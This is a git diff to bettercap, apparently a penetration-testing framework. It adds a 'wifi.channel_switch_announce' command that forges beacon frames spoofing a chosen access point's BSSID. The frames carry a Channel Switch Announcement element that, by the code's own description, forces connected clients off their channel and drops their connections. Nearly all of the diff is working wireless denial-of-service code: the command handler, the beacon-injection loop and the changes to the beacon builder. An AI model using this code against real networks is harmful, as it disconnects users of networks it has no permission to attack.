diff --git a/modules/wifi/wifi.go b/modules/wifi/wifi.go index 775dd870..e3c118b4 100644 --- a/modules/wifi/wifi.go +++ b/modules/wifi/wifi.go @@ -54,6 +54,7 @@ type WiFiModule struct { assocSilent bool assocOpen bool assocAcquired bool + csaSilent bool filterProbeSTA *regexp.Regexp filterProbeAP *regexp.Regexp apRunning bool @@ -88,6 +89,7 @@ func NewWiFiModule(s *session.Session) *WiFiModule { assocSilent: false, assocOpen: false, assocAcquired: false, + csaSilent: false, showManuf: false, shakesAggregate: true, writes: &sync.WaitGroup{}, @@ -215,6 +217,28 @@ func NewWiFiModule(s *session.Session) *WiFiModule { mod.AddHandler(probe) + channelSwitchAnnounce := session.NewModuleHandler("wifi.channel_switch_announce bssid channel ", `wifi\.channel_switch_announce ((?:[a-fA-F0-9:]{11,}))\s+((?:[0-9]+))`, + "Start a 802.11 channel hop attack, all client will be force to change the channel lead to connection down.", + func(args []string) error { + bssid, err := net.ParseMAC(args[0]) + if err != nil { + return err + } + channel,_:=strconv.Atoi( args[1]) + if channel>180 || channel<1{ + return fmt.Errorf("%d is not a valid channel number",channel) + } + return mod.startCSA(bssid,int8(channel)) + }) + + channelSwitchAnnounce.Complete("wifi.channel_switch_announce", s.WiFiCompleterFull) + + mod.AddHandler(channelSwitchAnnounce) + + mod.AddParam(session.NewBoolParameter("wifi.channel_switch_announce.silent", + "false", + "If true, messages from wifi.channel_switch_announce will be suppressed.")) + mod.AddParam(session.NewStringParameter("wifi.deauth.skip", "", "", diff --git a/modules/wifi/wifi_csa.go b/modules/wifi/wifi_csa.go new file mode 100644 index 00000000..20fb3590 --- /dev/null +++ b/modules/wifi/wifi_csa.go @@ -0,0 +1,86 @@ +package wifi + +import ( + "bytes" + "fmt" + "github.com/bettercap/bettercap/network" + "github.com/bettercap/bettercap/packets" + "github.com/google/gopacket/layers" + "net" +) + +func (mod *WiFiModule) isCSASilent() bool { + if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil { + mod.Warning("%v", err) + } else { + mod.csaSilent = is + } + return mod.csaSilent +} + +func (mod *WiFiModule) sendBeaconWithCSAPacket(ap *network.AccessPoint, toChan int8) { + ssid := ap.ESSID() + if ssid == "" { + ssid = "" + } + hw, _ := net.ParseMAC(ap.BSSID()) + + for seq := uint16(0); seq < 256 && mod.Running(); seq++ { + if err, pkt := packets.NewDot11Beacon(packets.Dot11ApConfig{ + SSID: ssid, + BSSID: hw, + Channel: ap.Channel, + Encryption: false, + SpectrumManagement: true, + }, 0, packets.Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0, byte(toChan), 1})); err != nil { + mod.Error("could not create beacon packet: %s", err) + continue + } else { + mod.injectPacket(pkt) + } + } +} + +func (mod *WiFiModule) startCSA(to net.HardwareAddr, toChan int8) error { + // if not already running, temporarily enable the pcap handle + // for packet injection + if !mod.Running() { + if err := mod.Configure(); err != nil { + return err + } + defer mod.handle.Close() + } + + var ap *network.AccessPoint = nil + + for _, _ap := range mod.Session.WiFi.List() { + if bytes.Equal(_ap.HW, to) { + ap = _ap + } + + } + + if ap == nil { + return fmt.Errorf("%s is an unknown BSSID", to.String()) + } + + mod.writes.Add(1) + go func() { + defer mod.writes.Done() + + if mod.Running() { + logger := mod.Info + if mod.isCSASilent() { + logger = mod.Debug + } + logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, toChan) + // send the beacon frame with channel switch announce element id + mod.onChannel(ap.Channel, func() { + mod.sendBeaconWithCSAPacket(ap, toChan) + }) + } + + }() + + return nil +} diff --git a/packets/dot11.go b/packets/dot11.go index c6e5c836..b1ae89e5 100644 --- a/packets/dot11.go +++ b/packets/dot11.go @@ -13,6 +13,7 @@ import ( var ( openFlags = 1057 wpaFlags = 1041 + specManFlag = 1<<8 durationID = uint16(0x013a) capabilityInfo = uint16(0x0411) listenInterval = uint16(3) @@ -37,10 +38,11 @@ var ( ) type Dot11ApConfig struct { - SSID string - BSSID net.HardwareAddr - Channel int - Encryption bool + SSID string + BSSID net.HardwareAddr + Channel int + Encryption bool + SpectrumManagement bool } func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11InformationElement { @@ -51,12 +53,14 @@ func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11In } } -func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) { +func NewDot11Beacon(conf Dot11ApConfig, seq uint16, extendDot11Info ...*layers.Dot11InformationElement) (error, []byte) { flags := openFlags if conf.Encryption { flags = wpaFlags } - + if conf.SpectrumManagement { + flags |= specManFlag + } stack := []gopacket.SerializableLayer{ &layers.RadioTap{ DBMAntennaSignal: int8(-10), @@ -77,7 +81,9 @@ func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) { Dot11Info(layers.Dot11InformationElementIDRates, fakeApRates), Dot11Info(layers.Dot11InformationElementIDDSSet, []byte{byte(conf.Channel & 0xff)}), } - + for _, v := range extendDot11Info { + stack = append(stack, v) + } if conf.Encryption { stack = append(stack, &layers.Dot11InformationElement{ ID: layers.Dot11InformationElementIDRSNInfo,